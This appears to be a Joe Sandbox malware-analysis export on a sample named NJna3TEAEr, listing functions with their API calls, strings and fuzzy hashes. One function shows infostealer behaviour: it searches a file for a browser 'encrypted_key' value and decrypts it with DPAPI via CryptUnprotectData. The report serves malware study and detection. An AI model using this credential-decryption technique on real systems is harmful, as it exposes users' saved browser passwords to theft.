API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 9f13abf6c65f32b1fc0326d7fdc194557a9f14768ad5d9401ae13c0b8e861510
Instruction ID: c3a128b482988fe46eeccbd2135b1329d6e82b0b68738d97afc533e38ef94893
Opcode Fuzzy Hash: 9f13abf6c65f32b1fc0326d7fdc194557a9f14768ad5d9401ae13c0b8e861510
Instruction Fuzzy Hash: 56018BB5A10209BBEB10EBE0DC49FBAB7B8EF18701F104464FB04D7290E6B099099B51

Function 002F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7734
HeapAlloc.KERNEL32(00000000), ref: 002F773B
RegOpenKeyExA.KERNEL32(80000002,01658388,00000000,00020119,002F76B9), ref: 002F775B
RegQueryValueExA.KERNEL32(002F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 002F777A
RegCloseKey.ADVAPI32(002F76B9), ref: 002F7784

Strings

CurrentBuildNumber, xrefs: 002F7771

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: d152f5e7eb36504460528d6caa95ac30c5af604521258c6fe9a9181cf560af4d
Instruction ID: 9e3ce37fe4dd97d66013689003e941d1795fbe930928f58f774b5b9f89f39ee4
Opcode Fuzzy Hash: d152f5e7eb36504460528d6caa95ac30c5af604521258c6fe9a9181cf560af4d
Instruction Fuzzy Hash: 5C014FB5A40309BBEB10DBE0DC4AFBEB7B8EF58700F104558FA05A7281DA706A059B51

Function 002F92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:/,80000000,00000003,00000000,00000003,00000080,00000000,?,002F3AEE,?), ref: 002F92FC
GetFileSizeEx.KERNEL32(000000FF,:/), ref: 002F9319
CloseHandle.KERNEL32(000000FF), ref: 002F9327

Strings

:/, xrefs: 002F9311, 002F933D, 002F9314
:/, xrefs: 002F92F8, 002F92FB

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :/$:/
API String ID: 1378416451-70439090
Opcode ID: bea7041351056f0d98ca129022a00108798521b270f91cb8290ea0843fd0c90b
Instruction ID: 578e6c95e66c7f5eb83eeaa9e4f995ca766143a8480c329f4405c27713dbb8b1
Opcode Fuzzy Hash: bea7041351056f0d98ca129022a00108798521b270f91cb8290ea0843fd0c90b
Instruction Fuzzy Hash: 05F0AF34E10208BBDB20DFB4DC08FAEB7B9EB58350F10C2A4BA11A72C0E670A6419F40

Function 002F40B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002F40D5
RegOpenKeyExA.KERNEL32(80000001,01660B98,00000000,00020119,?), ref: 002F40F4
RegQueryValueExA.ADVAPI32(?,01661388,00000000,00000000,00000000,000000FF), ref: 002F4118
RegCloseKey.ADVAPI32(?), ref: 002F4122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 002F4147
lstrcatA.KERNEL32(?,01661538), ref: 002F415B

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: dc4aff8a2185e0895320fb3c5558506f008e3c8397476179ccea1923a9d3c11e
Instruction ID: 8858099dbc45b305700818f02abb32e92e6a2bb7e8ff647e2b62a851db4f2527
Opcode Fuzzy Hash: dc4aff8a2185e0895320fb3c5558506f008e3c8397476179ccea1923a9d3c11e
Instruction Fuzzy Hash: 0341B6B6D102086BDB24EBA0DC46FFE733DAF98300F404968B71556181EA759B9D8FD2

Function 002E99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
ReadFile.KERNEL32(000000FF,?,00000000,002F02E7,00000000), ref: 002E9A5A
LocalFree.KERNEL32(002F02E7), ref: 002E9A90
CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: aa0d4696063beccb1b0ad46f8494249a37ae9c055d400fafb55a150ab0bfee35
Instruction ID: 02e19689857a25931b2fe1c7feef3b3be67e4c7ffdb69b884a0c9b5eefa40c7b
Opcode Fuzzy Hash: aa0d4696063beccb1b0ad46f8494249a37ae9c055d400fafb55a150ab0bfee35
Instruction Fuzzy Hash: EB315CB4A1020AEFDB24CF95D885BAE77B4FF48340F108169E901A7390D774A995CFA1

Function 002E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 002E123E
__aulldiv.LIBCMT ref: 002E1258
__aulldiv.LIBCMT ref: 002E1266
ExitProcess.KERNEL32 ref: 002E1294

Strings

@, xrefs: 002E1233

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ef2b5c4eabe0de151ae04922570642e9b23ef3d820a16824ac04aca48632da0b
Instruction ID: 95cceaba4d4442f7cede520665fb63762017ea253dbe3adf6049c19f040b7303
Opcode Fuzzy Hash: ef2b5c4eabe0de151ae04922570642e9b23ef3d820a16824ac04aca48632da0b
Instruction Fuzzy Hash: DF014FB0990348ABDB10DBD1CC49BADB778AF14701F608064EB05B6284D6B455659B59

Function 002E9CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(0,00000000), ref: 002FA788

Part of subcall function 002E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E99EC
Part of subcall function 002E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 002E9A11
Part of subcall function 002E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 002E9A31
Part of subcall function 002E99C0: ReadFile.KERNEL32(000000FF,?,00000000,002F02E7,00000000), ref: 002E9A5A
Part of subcall function 002E99C0: LocalFree.KERNEL32(002F02E7), ref: 002E9A90
Part of subcall function 002E99C0: CloseHandle.KERNEL32(000000FF), ref: 002E9A9A

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 002E9D39

Part of subcall function 002E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9AEF
Part of subcall function 002E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,002E4EEE,00000000,?), ref: 002E9B01
Part of subcall function 002E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N.,00000000,00000000), ref: 002E9B2A
Part of subcall function 002E9AC0: LocalFree.KERNEL32(?,?,?,?,002E4EEE,00000000,?), ref: 002E9B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 002E9D92

Part of subcall function 002E9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 002E9B84
Part of subcall function 002E9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 002E9BA3
Part of subcall function 002E9B60: memcpy.MSVCRT(?,?,?), ref: 002E9BC6
Part of subcall function 002E9B60: LocalFree.KERNEL32(?), ref: 002E9BD3

Strings

DPAPI, xrefs: 002E9D89
"encrypted_key":", xrefs: 002E9D30
, xrefs: 002E9DC1

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 9d03d374f01fd33acef6d70c21845b5539de9ea0f7b130424ee1c312440f7cb5
Instruction ID: b2f2e01f468c13974bffd7d1eec619394a7f29247083ad0b307510739b92d217
Opcode Fuzzy Hash: 9d03d374f01fd33acef6d70c21845b5539de9ea0f7b130424ee1c312440f7cb5
Instruction Fuzzy Hash: 7D3163B5D2020DABCF04EFE5DC85AEEB7B8BF48304F544569E905A3241E7309A64CBA1

Function 6C5EC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5EC969
GetSystemInfo.KERNEL32(?), ref: 6C5EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5EC9E2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction ID: ac4658877bd9bbdbef10ef15c8a14d4ce1a995b046e704cd4f5b36d3604434e8
Opcode Fuzzy Hash: a4dab7ff4e5f5aa68f40de9865ddaeabcfbf2b7b2ad86abef25919f996d7b417
Instruction Fuzzy Hash: BB21FC727412186BDB04EF25DCC4BAE77B9AB8A744FA00519F903E7740EB70BC0487A9

Function 002F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7E37
HeapAlloc.KERNEL32(00000000), ref: 002F7E3E
RegOpenKeyExA.KERNEL32(80000002,01658200,00000000,00020119,?), ref: 002F7E5E
RegQueryValueExA.KERNEL32(?,016608F8,00000000,00000000,000000FF,000000FF), ref: 002F7E7F
RegCloseKey.ADVAPI32(?), ref: 002F7E92

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 02a1ff610646ed627ac098c575aa5f980db6114820a944f7508f3c8f3ab87c24
Instruction ID: 118e3b19a34b0b67876e73d63b380c0895a862af4e9a1dbdb9d0fc183df1af49
Opcode Fuzzy Hash: 02a1ff610646ed627ac098c575aa5f980db6114820a944f7508f3c8f3ab87c24
Instruction Fuzzy Hash: 5A119EB1A54209EBD714CF94DD4AFBBFBB8FB09B10F10412AF705A7280D7B458059BA1

Function 002E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 002E12B4
HeapAlloc.KERNEL32(00000000), ref: 002E12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 002E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 002E12F5
RegCloseKey.ADVAPI32(?), ref: 002E12FF

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
